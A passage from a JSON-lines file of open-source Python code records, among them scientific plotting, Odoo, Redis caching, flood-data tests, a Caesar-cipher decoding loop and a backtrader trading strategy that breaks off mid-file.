+{"text": "# Author: Xinshuo Weng and Shangxuan Wu\n# email: {xinshuo.weng, wushx6}@gmail.com\n\n# this function convert a struct to string (only applied to the field which can be converted to a string) and save it to file\nimport toolbox.util\nimport pdb\n\ndef save_struct(struct_save, save_path, debug_mode):\n '''if not debug_mode:\n debug_mode = True;\n \n\n if debug_mode:\n \tassert toolbox.util.isstring(save_path), 'The input path should be a string to a file.'\n \tassert isstruct(struct_save), 'The stuff to save should be a struct.'\n '''\n with open(save_path, 'w') as f:\n \n for k, v in struct_save.__dict__.iteritems():\n print(k)\n print(v)\n f.write('%s %s\\n' % (k, v))\n\n\t'''file_id = get_fileID_for_saving(save_path);\n nrows = 0;\n\n # convert struct to string and write to file\n fields = fieldnames(struct_save);\n for field_index = 1:length(fields)\n fields_tmp = fields{field_index};\n value = getfield(struct_save, fields_tmp);\n\n if isstruct(value)\n continue;\n elif isscalar(value)\n try\n str_tmp = num2str(value);\n catch\n str_tmp = 'failed to convert to string!!!';\n if debug_mode\n fprintf('field %s cannot converted to string\\n', fields_tmp);\n \n \n elif ismatrix(value)\n try\n str_tmp = mat2str(value);\n catch\n str_tmp = 'failed to convert to string!!!';\n if debug_mode\n fprintf('field %s cannot converted to string\\n', fields_tmp);\n \n \n elif ischar(value)\n str_tmp = value;\n else\n continue;\n\n # write the key and value string\n fprintf(file_id, '%-30s\\t\\t\\t\\t', fields_tmp); \n fprintf(file_id, '%s\\n', str_tmp); \n nrows = nrows + 1;\n \n fclose(file_id);\n return nrows'''\n\n return\n", "source": "ShangxuanWu/facial_landmark_detection", "license": "MIT"}
+{"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nfrom .transform import Transform\nfrom .transform_util import TransformUtil\nfrom ..expressions import Expressions\nfrom ..types import TypeID\n\n\nclass Identity(Transform):\n\n @staticmethod\n def get(type_var):\n return Identity(type_var)\n\n def __init__(self, type_var):\n self.type_var = type_var\n\n def apply(self, value):\n return value\n\n def can_transform(self, type_var):\n return type_var.is_primitive_type()\n\n def get_result_type(self, source_type):\n return source_type\n\n def project(self, name, predicate):\n return self.project_strict(name, predicate)\n\n def project_strict(self, name, predicate):\n if predicate.lit is not None:\n return Expressions.predicate(predicate.op, name, predicate.lit.value)\n else:\n return Expressions.predicate(predicate.op, name)\n\n def to_human_string(self, value):\n if value is None:\n return \"null\"\n\n if self.type_var.type_id == TypeID.DATE:\n return TransformUtil.human_day(value)\n elif self.type_var.type_id == TypeID.TIME:\n return TransformUtil.human_time(value)\n elif self.type_var.type_id == TypeID.TIMESTAMP:\n if self.type_var.adjust_to_utc:\n return TransformUtil.human_timestamp_with_timezone(value)\n else:\n return TransformUtil.human_timestamp_without_timezone(value)\n elif self.type_var.type_id in (TypeID.BINARY, TypeID.FIXED):\n raise NotImplementedError()\n # if isinstance(value, bytearray):\n # return base64.b64encode(value)\n # elif isinstance(value, bytes):\n # return base64.b64encode(bytes(value))\n # else:\n # raise RuntimeError(\"Unsupported binary type: %s\" % value.__class__.__name__)\n else:\n return str(value)\n\n def __str__(self):\n return \"identity\"\n\n def __eq__(self, other):\n if id(self) == id(other):\n return True\n\n if other is None or not isinstance(other, Identity):\n return False\n\n return self.type_var == other.type_var\n\n def __hash__(self):\n return hash(self.__key())\n\n def __key(self):\n return Identity.__class__, self.type_var\n", "source": "moulimukherjee/incubator-iceberg", "license": "Apache-2.0"}
+{"text": "from .. import *\n\nfrom ..utils.mini_batch_iter import MINI_BATCH_ITER\nfrom .classifier import Classifier\nfrom .nn_model import NN_Model\n\n# def check_attributes(check_attributes):\n# def func(*args,**kwargs):\n\n\n# try check_attributes:\n# if check_attributes:\n# func()\n# except Exception as e:\n# raise\n# else:\n# pass\n# finally:\n# pass\n\nclass Perception(Classifier):\n \"\"\"\n \u7b80\u5355\u7684\u591a\u5c42\u611f\u77e5\u673a\u5b9e\u73b0\n \"\"\"\n def __init__(self,input_dim,n_of_classes,*args,**kwds):\n if type(input_dim) != int or type(n_of_classes) != int:\n raise TypeError(\"input_dim and n_of_classes must be int\")\n super().__init__(input_dim,n_of_classes)\n # \u521d\u59cb\u5316\u540e\u8981\u6c42\u6267\u884cbuild\u51fd\u6570\uff0c\u6765\u6784\u5efa\u6a21\u578b\n self.model = None\n\n\n def build(self,input_layer,output_layer,optimizer = \"sgd\",learning_rate = 1e-3,\\\n lossfunction = \"CrossEntropy\"):\n if input_layer.out_dim != self.input_dim:\n raise ValueError(\"input_layer dim is \",input_layer.out_dim,\\\n \" model input_dim must be\",self.input_dim)\n if output_layer.out_dim != self.n_of_classes:\n raise ValueError(\"output_layer dim is \",output_layer.out_dim,\\\n \" model output_dim must be\",self.n_of_classes)\n \n self.model = NN_Model(input_layer = input_layer,output_layer = output_layer, \\\n optimizer = optimizer,learning_rate = learning_rate,lossfunction = lossfunction)\n\n \n\n def train_on_batch(self,x_batch,y_batch):\n loss_on_batch,reg_loss_on_batch,grid_on_input = self.model.train_on_batch(x_batch,y_batch)\n return loss_on_batch,reg_loss_on_batch # ,reg_loss_on_batch,loss_on_input\n\n # @check_attributes(self.model)\n def train(self,X_train,y_train,test_set = None,batch_size = 64,epoch = 1,\\\n epoch_shuffle = True):\n # \u628a\u6bcf\u4e2a\u6837\u672c\u7684\u7279\u5f81reshape\u6210\u4e00\u4e2a\u5411\u91cf \n # X_train = np.reshape(X_train,(X_train.shape[0],-1))\n \n loss_list = []\n train_acc = []\n test_acc = []\n history = {}\n history['test_acc'] = test_acc\n history['train_acc'] = train_acc\n history['loss_list'] = loss_list\n if test_set:\n X_test = test_set[0]\n y_test = test_set[1]\n epoch_count = 0\n running_loss_on_batch = running_reg_loss_on_batch = 0\n for ep in range(epoch):\n print(\"train on epoch %d:\"%epoch_count)\n epoch_count +=1\n batch_iter = iter(MINI_BATCH_ITER(X_train,y_train,\\\n shuffle = epoch_shuffle,batch_size=batch_size))\n # build mini-batch iter\n for x_batch,y_batch in batch_iter:\n loss_on_batch,reg_loss_on_batch = self.train_on_batch(x_batch,y_batch)\n running_loss_on_batch = running_loss_on_batch*0.9+loss_on_batch*0.1\n running_reg_loss_on_batch = running_reg_loss_on_batch*0.9 + reg_loss_on_batch*0.1\n loss_list.append(running_loss_on_batch)\n print(\"\\rloss now:%.4f,reg_loss_on_batch:%.4f,sum loss: %.4f\"%(running_loss_on_batch,running_reg_loss_on_batch,\\\n running_loss_on_batch+running_reg_loss_on_batch/batch_size),end='')\n del x_batch,y_batch\n train_acc.append(self.test(X_train,y_train,put_out = False))\n if test_set:\n test_acc.append(self.test(X_test,y_test,put_out = False))\n print(\"\\n Train ACC = %.2f %%, Test ACC = %.2f %%\"%(100*train_acc[-1],\\\n 100*test_acc[-1]))\n else:\n print(\"\\n Train ACC = %.2f %%\"%(100*train_acc[-1]))\n\n print(\"==> finish training process\")\n\n return history\n \n def test(self,X_test,y_test,put_out = True):\n \"\"\"\u76f4\u63a5\u8c03\u7528predict\u8fdb\u884c\u6d4b\u8bd5\"\"\"\n n_of_test = X_test.shape[0]\n y_pred = np.argmax(self.model.forward(X_test,is_train = False),axis=1)\n acc = sum((y_pred)==np.argmax(y_test,axis=1))/n_of_test\n if put_out:\n print(\"\\n==> ACC = %.2f %%\"%(100*acc))\n return acc\n \n def predict(self,X_test,one_hot = False):\n n_of_test = X_test.shape[0]\n y_pred = self.model.forward(X_test)\n if one_hot == False:\n return np.argmax(y_pred,axis = 1) \n return y_pred\n \n", "source": "JasonGuo98/DianNeuron", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\nfrom odoo import http\nfrom odoo.http import request\n\nfrom odoo.addons.auth_signup_confirmation.controllers.auth_signup_confirmation import (\n AuthConfirm,\n)\n\n\nclass AuthLead(AuthConfirm):\n @http.route(\"/web/signup/confirm\", type=\"http\", auth=\"public\")\n def singnup_using_generated_link(self, *args, **kw):\n user_state_before = (\n request.env[\"res.users\"]\n .sudo()\n .search([(\"partner_id.signup_token\", \"=\", kw[\"token\"])])\n .active\n )\n res = super(AuthLead, self).singnup_using_generated_link(*args, **kw)\n user = (\n request.env[\"res.users\"]\n .sudo()\n .search([(\"partner_id.signup_token\", \"=\", kw[\"token\"])])\n )\n if user.active and not user_state_before:\n request.env[\"crm.lead\"].sudo().create(\n {\n \"name\": user.partner_id.name,\n \"partner_id\": user.partner_id.id,\n \"contact_name\": user.partner_id.name,\n }\n )\n return res\n", "source": "ShaheenHossain/itpp-labs-misc-addons13", "license": "MIT"}
+{"text": "import numpy as np\nimport pandas as pd\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.collections import LineCollection\nfrom mpl_toolkits.mplot3d.art3d import Line3DCollection\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib.colors import BoundaryNorm\n\n\nimport trackviz.tools\nfrom trackviz.tools import FigureAxes\n\n\ndef trajectory_2d(\n tracks,\n image=None,\n labels=None,\n color=None,\n xlim=None, ylim=None,\n cmap=None,\n cbar=False,\n cbar_width=30,\n show_points=False,\n line_kws=None,\n scat_kws=None,\n im_kws=None,\n dpi=None,\n scale=1.,\n margin=None\n):\n \"\"\"\n 2d plot of trajectories.\n\n Parameters\n ----------\n tracks : pandas.DataFrame, columns (x, y, t, trackid)\n Trajectory data. Each row in `tracks` is a point in a trajectory, where each trajectory has a unique trackid.\n image : ndarray, shape (H, W) or (H, W, 3) or (H, W, 4), optional\n Image to plot in background.\n labels : pandas.DataFrame, columns (trackid, label)\n Trajectory labels used to color trajectories if `color` == `label`. There must be a label for each trajectory\n in `tracks`. Can contain integers or strings.\n color : {None, 't', 'label'}\n Determines how trajectories are colored. If `color` == 't', color each line segment of each trajectory according\n to its t value. If `color` == 'label', color each trajectory based on its label. If `color` == None, do not\n color the trajectories.\n xlim, ylim : array_like, shape (2,) optional\n Data limits for the x and y axis. If no limits are given, they will be computed from the data.\n cmap : matplotlib colormap name or object, optional\n Colormap used to map t coordinates to colors.\n cbar : bool, optional\n Whether to draw a colorbar. Must be False if `color` == None, because no colormapping is used.\n cbar_width : int\n Width of colorbar (in pixels).\n show_points : bool, optional\n Whether to plot each trajectory as a point.\n line_kws : dict, optional\n Keyword arguments for matplotlib.collection.LineCollection.\n scat_kws : dict, optional\n Keyword arguments for ax.scatter.\n im_kws : dict, optional\n Keyword arguments for ax.imshow.\n dpi : int or None, optional\n Figure dots per inch. If None, default to matplotlib.rcParams['figure.dpi'].\n scale : float, optional\n Output size scale.\n margin : dict, keys ('left', 'right', 'bottom', 'top') , optional\n Margin between plot elements and figure. Defaults are {'left': 40, 'bottom': 40, 'right': 40, 'top': 10}.\n\n Returns\n -------\n figure : matplotlib Figure\n Figure containing trajectory plot.\n axes : matplotlib Axes\n Axes on which the trajectories are plotted.\n \"\"\"\n if not pd.Series(['x','y','t','trackid']).isin(tracks.columns).all():\n raise ValueError('tracks must have columns x, y, t, and trackid')\n if len(tracks) < 1:\n raise ValueError('tracks must have at least one row')\n if image is not None:\n if not (image.ndim == 2 or image.ndim == 3):\n raise ValueError('image must be (H, W), (H, W, 3) or (H, W, 4)')\n if image.ndim == 3 and not (image.shape[-1] == 3 or image.shape[-1] == 4):\n raise ValueError('image must be (H, W), (H, W, 3) or (H, W, 4)')\n if labels is not None and len(set(tracks['trackid']) - set(labels['trackid'])) != 0:\n raise ValueError('there must be a label for each trajectory')\n if color not in ('t', 'label', None):\n raise ValueError('color must be \"t\", \"label\", or None')\n if color == 'label' and labels is None:\n raise ValueError('labels cannot be None if color == \"label\"')\n if color is None and cbar:\n raise ValueError('cbar must be False when color == None')\n\n if labels is not None:\n labels = dict(zip(labels['trackid'], labels['label']))\n\n tracks = tracks.sort_values(['trackid', 't'])\n\n # set some default values\n dpi = matplotlib.rcParams['figure.dpi'] if dpi is None else dpi\n cmap = 'viridis' if cmap is None else cmap\n\n # set up keyword arguments\n line_kws = {} if line_kws is None else line_kws.copy()\n line_kws.setdefault('linewidths', 1.5)\n line_kws.setdefault('alpha', 0.8)\n line_kws.setdefault('zorder', 1)\n\n scat_kws = {} if scat_kws is None else scat_kws.copy()\n scat_kws.setdefault('zorder', 2)\n scat_kws.setdefault('s', 0.5)\n scat_kws.setdefault('linewidths', 0.2)\n scat_kws.setdefault('c', 'black')\n\n im_kws = {} if im_kws is None else im_kws.copy()\n\n margin = {} if margin is None else margin.copy()\n margin.setdefault('left', 0)\n margin.setdefault('bottom', 0)\n margin.setdefault('right', 25 if cbar else 0)\n margin.setdefault('top', 0)\n\n # compute x and y limits\n if xlim is None:\n xlim = (tracks['x'].min(), tracks['x'].max())\n if image is not None:\n height, width = image.shape[:2]\n xlim = (min(0, xlim[0]), max(width, xlim[1]))\n if ylim is None:\n ylim = (tracks['y'].min(), tracks['y'].max())\n if image is not None:\n height, width = image.shape[:2]\n ylim = (min(0, ylim[0]), max(height, ylim[1]))\n\n # determine size of main axes\n width, height = np.fabs(xlim[0] - xlim[1]), np.fabs(ylim[0] - ylim[1])\n axsize = (np.array((width, height)) * scale).astype(np.int)\n # print('axsize: {}'.format(axsize))\n\n grid = FigureAxes(axsize, 20, dpi, cbar, cbar_width,\n margin['left'], margin['bottom'], margin['right'], margin['top'])\n grid.ax.set_aspect('equal')\n grid.ax.axis('off')\n grid.ax.set_xlim(xlim)\n grid.ax.set_ylim(ylim[::-1]) # invert y axis\n\n # plot image\n if image is not None:\n grid.ax.imshow(image, **im_kws)\n\n # set parameters for plotting trajectories\n if color == 'label':\n tracklines, trackids = trackviz.tools.tracks_to_lines(tracks, dims=2, return_trackid=True)\n\n # use indices of sorted labels to map labels to colors\n tracklabels = np.array([labels[tid] for tid in trackids])\n label_values, tracklabel_inds = np.unique(tracklabels, return_inverse=True)\n N = len(label_values)\n\n discrete_cmap = plt.get_cmap(cmap, N)\n norm = BoundaryNorm(np.linspace(-0.5, N-0.5, N+1), N)\n\n line_kws.update(segments=tracklines, cmap=discrete_cmap, norm=norm)\n colordata = tracklabel_inds\n elif color == 't':\n tracklines = trackviz.tools.tracks_to_lines(tracks, dims=3, return_trackid=False)\n segments = np.concatenate([trackviz.tools.line_to_segments(line) for line in tracklines], axis=0)\n\n line_kws.update(segments=segments[:, :, :2], cmap=cmap)\n colordata = segments[:, 0, 2] # use t value of first point of segment to determine color of line\n else:\n tracklines = trackviz.tools.tracks_to_lines(tracks, dims=2, return_trackid=False)\n line_kws.update(segments=tracklines)\n\n # plot trajectories\n lc = LineCollection(**line_kws)\n if color == 'label' or color == 't':\n lc.set_array(colordata) # set values that will be mapped to RGBA using cmap\n grid.ax.add_collection(lc)\n\n if cbar:\n if color == 'label':\n cb = grid.ax.figure.colorbar(lc, cax=grid.cax, ticks=range(N))\n cb.set_ticklabels(label_values)\n elif color == 't':\n cb = grid.ax.figure.colorbar(lc, cax=grid.cax)\n\n # draw points\n if show_points:\n grid.ax.scatter(tracks['x'], tracks['y'], **scat_kws)\n\n return grid.fig, grid.ax\n\n\n# TODO: Add ability to draw colorbar\n# TODO: Add show_points parameter\ndef trajectory_3d(\n tracks,\n labels=None,\n color=None,\n xlim=None, ylim=None, tlim=None,\n cmap=None,\n line_kws=None,\n):\n \"\"\"\n 3d plot of trajectories.\n\n Parameters\n ----------\n tracks : pandas.DataFrame, columns (x, y, t, trackid)\n Trajectory data. Each row in `tracks` is a point in a trajectory, where each trajectory has a unique trackid.\n labels : pandas.DataFrame, columns (trackid, label)\n Trajectory labels used to color trajectories if `color` == `label`. There must be a label for each trajectory\n in `tracks`. Can contain integers or strings.\n color : {None, 't', 'label'}\n Value(s) used to color trajectories. If `color` == 't', color each line segment of each trajectory according\n to its t value. If `color == 'label', color each trajectory based on its label. If `color` == None, do not\n color the trajectories.\n xlim, ylim, tlim : list, shape (2,) optional\n Data limits for the x, y, and t axis. If no limits are given, they will be computed from the data.\n cmap : matplotlib colormap name or object, optional\n Colormap used to map t coordinates to colors. Ignored if `labels` is not None.\n line_kws : dict, optional\n Keyword arguments passed to matplotlib LineCollection.\n\n Returns\n -------\n figure : matplotlib Figure\n Figure containing trajectory plot.\n axes : matplotlib Axes\n Axes on which the trajectories are plotted.\n \"\"\"\n if not pd.Series(['x','y','t','trackid']).isin(tracks.columns).all():\n raise ValueError('tracks must have columns x, y, t, and trackid')\n if len(tracks) < 1:\n raise ValueError('tracks must have at least one row')\n if labels is not None and len(set(tracks['trackid']) - set(labels['trackid'])) != 0:\n raise ValueError('there must be a label for each trajectory')\n if color not in ('t', 'label', None):\n raise ValueError('color must be \"t\", \"label\", or None')\n if color == 'label' and labels is None:\n raise ValueError('labels cannot be None if color == \"label\"')\n\n if labels is not None:\n labels = dict(zip(labels['trackid'], labels['label']))\n\n line_kws = {} if line_kws is None else line_kws.copy()\n cmap = 'viridis' if cmap is None else cmap\n\n # compute axis limits\n xlim = xlim if xlim else [np.floor(tracks['x'].min()), np.ceil(tracks['x'].max())]\n ylim = ylim if ylim else [np.floor(tracks['y'].min()), np.ceil(tracks['y'].max())][::-1] # invert y axis\n zlim = tlim if tlim else [np.floor(tracks['t'].min()), np.ceil(tracks['t'].max())]\n\n fig = plt.figure()\n ax = fig.add_axes((0, 0, 1, 1), projection='3d')\n\n ax.set_xlim3d(xlim)\n ax.set_ylim3d(ylim)\n ax.set_zlim3d(zlim)\n\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_zlabel('t')\n\n # set values needed to plot trajectories\n tracklines, trackids = trackviz.tools.tracks_to_lines(tracks, dims=3, return_trackid=True)\n if color == 'label':\n tracklabels = np.array([labels[tid] for tid in trackids])\n label_values, tracklabel_inds = np.unique(tracklabels, return_inverse=True)\n N = len(label_values)\n\n discrete_cmap = plt.get_cmap(cmap, N)\n norm = BoundaryNorm(np.linspace(-0.5, N-0.5, N+1), N)\n\n line_kws.update(segments=tracklines, cmap=discrete_cmap, norm=norm)\n colordata = tracklabel_inds\n elif color == 't':\n segments = np.concatenate([trackviz.tools.line_to_segments(line) for line in tracklines], axis=0)\n\n line_kws.update(segments=segments, cmap=cmap)\n colordata = segments[:, 0, 2] # use t value of first point of segment to determine color of line\n else:\n line_kws.update(segments=tracklines)\n\n lc = Line3DCollection(**line_kws)\n if color == 'label' or color == 't':\n lc.set_array(colordata)\n ax.add_collection3d(lc)\n\n # set aspect\n ax.set_aspect('equal') # will set aspect for x and y axes\n # _set_axes_equal(ax)\n\n return fig, ax\n\n\ndef _set_axes_equal(ax):\n \"\"\"\n This was copied from stackoverflow here: https://stackoverflow.com/a/31364297\n\n Make axes of 3D plot have equal scale so that spheres appear as spheres,\n cubes as cubes, etc.. This is one possible solution to Matplotlib's\n ax.set_aspect('equal') and ax.axis('equal') not working for 3D.\n \"\"\"\n x_limits = ax.get_xlim3d()\n y_limits = ax.get_ylim3d()\n z_limits = ax.get_zlim3d()\n\n x_range = abs(x_limits[1] - x_limits[0])\n x_middle = np.mean(x_limits)\n y_range = abs(y_limits[1] - y_limits[0])\n y_middle = np.mean(y_limits)\n z_range = abs(z_limits[1] - z_limits[0])\n z_middle = np.mean(z_limits)\n\n # The plot bounding box is a sphere in the sense of the infinity\n # norm, hence I call half the max range the plot radius.\n plot_radius = 0.5*max([x_range, y_range, z_range])\n\n ax.set_xlim3d([x_middle - plot_radius, x_middle + plot_radius])\n ax.set_ylim3d([y_middle - plot_radius, y_middle + plot_radius])\n ax.set_zlim3d([z_middle - plot_radius, z_middle + plot_radius])", "source": "marximus/trackviz", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\nimport logging\n\nfrom django.conf import settings\nfrom django_redis import get_redis_connection\nfrom uuid import uuid4\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass LatestViewedStudies(object):\n \"\"\" Interfaces with Redis to keep a list of latest viewed studies \"\"\"\n\n def __init__(self, user, n=5, *args, **kwargs):\n super(LatestViewedStudies, self).__init__(*args, **kwargs)\n self._end = n - 1\n self._redis = get_redis_connection(settings.EDD_LATEST_CACHE)\n self._user = user\n\n def __iter__(self):\n return map(self._decode, iter(self._redis.lrange(self._key(), 0, self._end)))\n\n def _key(self):\n return '%(module)s.%(klass)s:%(user)s' % {\n 'module': __name__,\n 'klass': self.__class__.__name__,\n 'user': self._user.username,\n }\n\n def _decode(self, value):\n return value.decode('utf-8')\n\n def remove_study(self, study):\n key = self._key()\n if study:\n self._redis.lrem(key, 0, study.pk)\n\n def viewed_study(self, study):\n key = self._key()\n if study:\n # Don't want to put duplicates in the list\n self._redis.lrem(key, 0, study.pk)\n # Push study pk to front of list\n self._redis.lpush(key, study.pk)\n # Trim list to size\n self._redis.ltrim(key, 0, self._end)\n\n\nclass ScratchStorage(object):\n \"\"\" Interfaces with Redis to keep scratch storage \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(ScratchStorage, self).__init__(*args, **kwargs)\n self._redis = get_redis_connection(settings.EDD_LATEST_CACHE)\n\n def _key(self, name=None):\n return '%(module)s.%(klass)s:%(name)s' % {\n 'module': __name__,\n 'klass': self.__class__.__name__,\n 'name': uuid4() if name is None else name,\n }\n\n def delete(self, key):\n self._redis.delete(key)\n\n def load(self, key):\n return self._redis.get(key)\n\n def save(self, data, name=None, expires=None):\n key = self._key(name)\n expires = 60 * 60 * 24 if expires is None else expires\n self._redis.set(key, data, nx=True, ex=expires)\n return key\n", "source": "TeselaGen/jbei-edd", "license": "BSD-3-Clause-LBNL"}
+{"text": "from rest_framework.exceptions import APIException\n\nfrom revibe._errors import network\nfrom revibe._helpers import const, status\n\n# -----------------------------------------------------------------------------\n\nclass InvalidPlatformContent(network.ProgramError):\n default_detail = \"Invalid platform content\"\n\nclass InvalidPlatformOperation(Exception):\n pass\n\nclass PlatformNotFoundError(network.BadRequestError):\n default_detail = \"The requested platform does not exist\"", "source": "Revibe-Music/core-services", "license": "MIT"}
+{"text": "\nfrom floodsystem.geo import stations_by_distance, rivers_by_station_number\nfrom haversine import haversine\nfrom floodsystem.stationdata import build_station_list\nfrom floodsystem.geo import rivers_with_station\nfrom floodsystem.geo import stations_by_river\nfrom floodsystem.geo import stations_within_radius\nfrom floodsystem.station import inconsistent_typical_range_stations\n\n# Build list of stations\nstations = build_station_list()\n\n#Task 1B\n\ndef test_stations_by_distance():\n result = stations_by_distance(stations, p=(0,0))\n for i in range(1, len(result)):\n x = result[i]\n y = result[i-1]\n assert x[2] >= y[2]\n\n# Testing Task C: Are all the outputted stations within 10 km of the city centre\ndef test_stations_within_radius():\n stations = build_station_list()\n reference_coordinate = (52.2053, 0.1218)\n lol = stations_within_radius(stations,reference_coordinate,10)\n for i in stations:\n for a in lol:\n if i.name == a:\n assert haversine(reference_coordinate, i.coord) <= 10\n\n#Testing Task D: Do all rivers outputted have at least 1 station?\ndef test_rivers_with_station():\n stations = build_station_list()\n r = rivers_with_station(stations)\n assert len(r) == 857\n for i in stations:\n for j in r:\n a = 0\n if i.river == j:\n a = a+1\n assert a>= 1\n#Testing Task D: Are all the stations outputted situated on the desired rivers?\ndef test_stations_by_river():\n stations = build_station_list()\n r1 = stations_by_river(stations)\n g1 = r1[\"River Aire\"]\n g2 = r1['River Cam']\n g3 = r1['River Thames']\n for i in stations:\n for j in g1:\n if i.name == g1:\n assert i.river == \"River Aire\"\n for k in g2:\n if i.name == g2:\n assert i.river == \"River Cam\"\n for l in g3:\n if i.name == g3:\n assert i.river == \"River Thames\"\n\n#Task 1E\ndef test_rivers_by_station_number():\n N = 9\n result = rivers_by_station_number(stations, N)\n assert len(result) >= 9\n\n if len(result) == N:\n for n in range(len(result)-1):\n x = result[n]\n y = result[n+1]\n assert x[1] >= y[1]\n elif len(result) > N:\n for n in range(N-1):\n x = result[n]\n y = result[n+1]\n assert x[1] >= y[1]\n for n in range(N, len(result)-1):\n x = result[n]\n y = result[n+1]\n assert x==y\n\n\n# Testing Task F: Do all outputted stations have inconsistent range data\ndef test_inconsistent_typical_range_stations():\n stations = build_station_list()\n r2 = inconsistent_typical_range_stations(stations)\n for i in stations:\n for j in r2:\n if i.name == j:\n assert i.typical_range == None or i.typical_range[1] - i.typical_range[0] < 0\n\n\n\n\n\n \n\n\n\n", "source": "VarunBabbar/Flood-Warning-System-", "license": "MIT"}
+{"text": "'''\r\nThis module provides access to the MDTraj density function using a MDTraj Trajectory.\r\n'''\r\n\r\nfrom .models import Component\r\nimport mdtraj\r\nimport numpy\r\nfrom typing import Tuple\r\n\r\n# def mdtraj_density(trajectory_file: str) -> numpy.ndarray:\r\n # '''\r\n # This method provides easy access to MDTraj's density function.\r\n # '''\r\n # trajectory = mdtraj.load_pdb(trajectory_file)\r\n # return mdtraj.density(trajectory)\r\n \r\nclass DensityComponent(Component):\r\n '''\r\n A component to calculate the Density.\r\n '''\r\n trajectory: mdtraj.Trajectory\r\n \r\n def __init__(self, trajectory: mdtraj.Trajectory, top: mdtraj.Trajectory = None, sel: str = 'all'):\r\n self.trajectory = trajectory\r\n self.top = top\r\n self.sel = sel\r\n \r\n def process_input(self, trajectory, top: mdtraj.Trajectory = None, sel: str='all'):\r\n self.traj = trajectory\r\n\r\n indices = self.traj.top.select(sel)\r\n self.traj = self.traj.atom_slice(indices)\r\n \r\n if top:\r\n self.ref = top.atom_slice(indices)\r\n\r\n return self.traj\r\n \r\n def compute(self) -> Tuple[numpy.ndarray, numpy.ndarray]:\r\n masses = numpy.array([atom.element.mass for atom in self.traj.top.atoms])\r\n return self.traj.time, mdtraj.density(self.traj, masses)\r\n \r\n def run(self, trajectory: mdtraj.Trajectory, top: mdtraj.Trajectory = None, sel: str='all'):\r\n self.process_input(trajectory, top, sel)\r\n return self.compute()\r\n", "source": "Lnaden/mminterconcept", "license": "MIT"}
+{"text": "encrypted_string = 'OMQEMDUEQMEK'\n\nfor i in range(1,27):\n temp_str = \"\"\n for x in encrypted_string:\n int_val = ord(x) + i\n if int_val > 90:\n # 90 is the numerical value for 'Z'\n # 65 is the numerical value for 'A'\n # If int_val is greater than Z then \n # the number is greater then 90 then \n # we must again count the difference \n # from A.\n int_val = 64 + (int_val - 90)\n temp_str += chr(int_val) \n print(f\"{i} {temp_str}\")", "source": "draggers21/draggers21.github.io", "license": "MIT"}
+{"text": "# -*- coding: utf-8 -*-\n\n'''\nAuthor: www.backtest-rookies.com\n\nMIT License\n\nCopyright (c) 2017 backtest-rookies.com\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n'''\n# SQN ranking system\n# 1.6 \u2013 1.9 Below average\n# 2.0 \u2013 2.4 Average\n# 2.5 \u2013 2.9 Good\n# 3.0 \u2013 5.0 Excellent\n# 5.1 \u2013 6.9 Superb\n# 7.0 \u2013 Holy Grail?\n\n\nimport backtrader as bt\nfrom datetime import datetime\n\nclass firstStrategy(bt.Strategy):\n\n def __init__(self):\n self.rsi = bt.indicators.RSI_SMA(self.data.close, period=21)\n\n def next(self):\n if not self.position:\n if self.rsi < 30:\n self.buy(size=100)\n else:\n if self.rsi > 70:\n self.sell(size=100)\n\n\ndef printTradeAnalysis(analyzer):\n '''\n Function to print the Technical Analysis results in a nice format.\n '''\n #Get the results we are interested in\n total_open = analyzer.total.open\n total_closed = analyzer.total.closed\n total_won = analyzer.won.total\n total_lost = analyzer.lost.total\n win_streak = analyzer.streak.won.longest\n lose_streak = analyzer.streak.lost.longest\n pnl_net = round(analyzer.pnl.net.total,2)\n strike_rate = (total_won / total_closed) * 100\n #Designate the rows\n h1 = ['Total Open', 'Total Closed', 'Total Won', 'Total Lost']\n h2 = ['Strike Rate','Win Streak', 'Losing Streak', 'PnL Net']\n r1 = [total_open, total_closed,total_won,total_lost]\n r2 = [strike_rate, win_streak, lose_streak, pnl_net]\n #Check which set of headers is the longest.\n if len(h1) > len(h2):\n header_length = len(h1)\n else:\n header_length = len(h2)\n #Print the rows\n print_list = [h1,r1,h2,r2]\n row_format =\"{:<15}\" * (header_length + 1)\n print(\"Trade Analysis Results:\")\n for row in print_list:\n print(row_format.format('',*row))\n\ndef printSQN(analyzer):\n sqn = round(analyzer.sqn,2)\n print('SQN: {}'.format(sqn))\n\n#Variable for our starting cash\nstartcash = 100000\n\n#Create an instance of cerebro\ncerebro = bt.Cerebro()\n\n#Add our strategy\ncerebro.addstrategy(firstStrategy)\n\n#Get Apple data from Yahoo Finance.\ndata = bt.feeds.YahooFinanceData(\n dataname='AAPL',\n fromdate = datetime(2009,1,1),\n todate = datetime(2017,1,1),\n 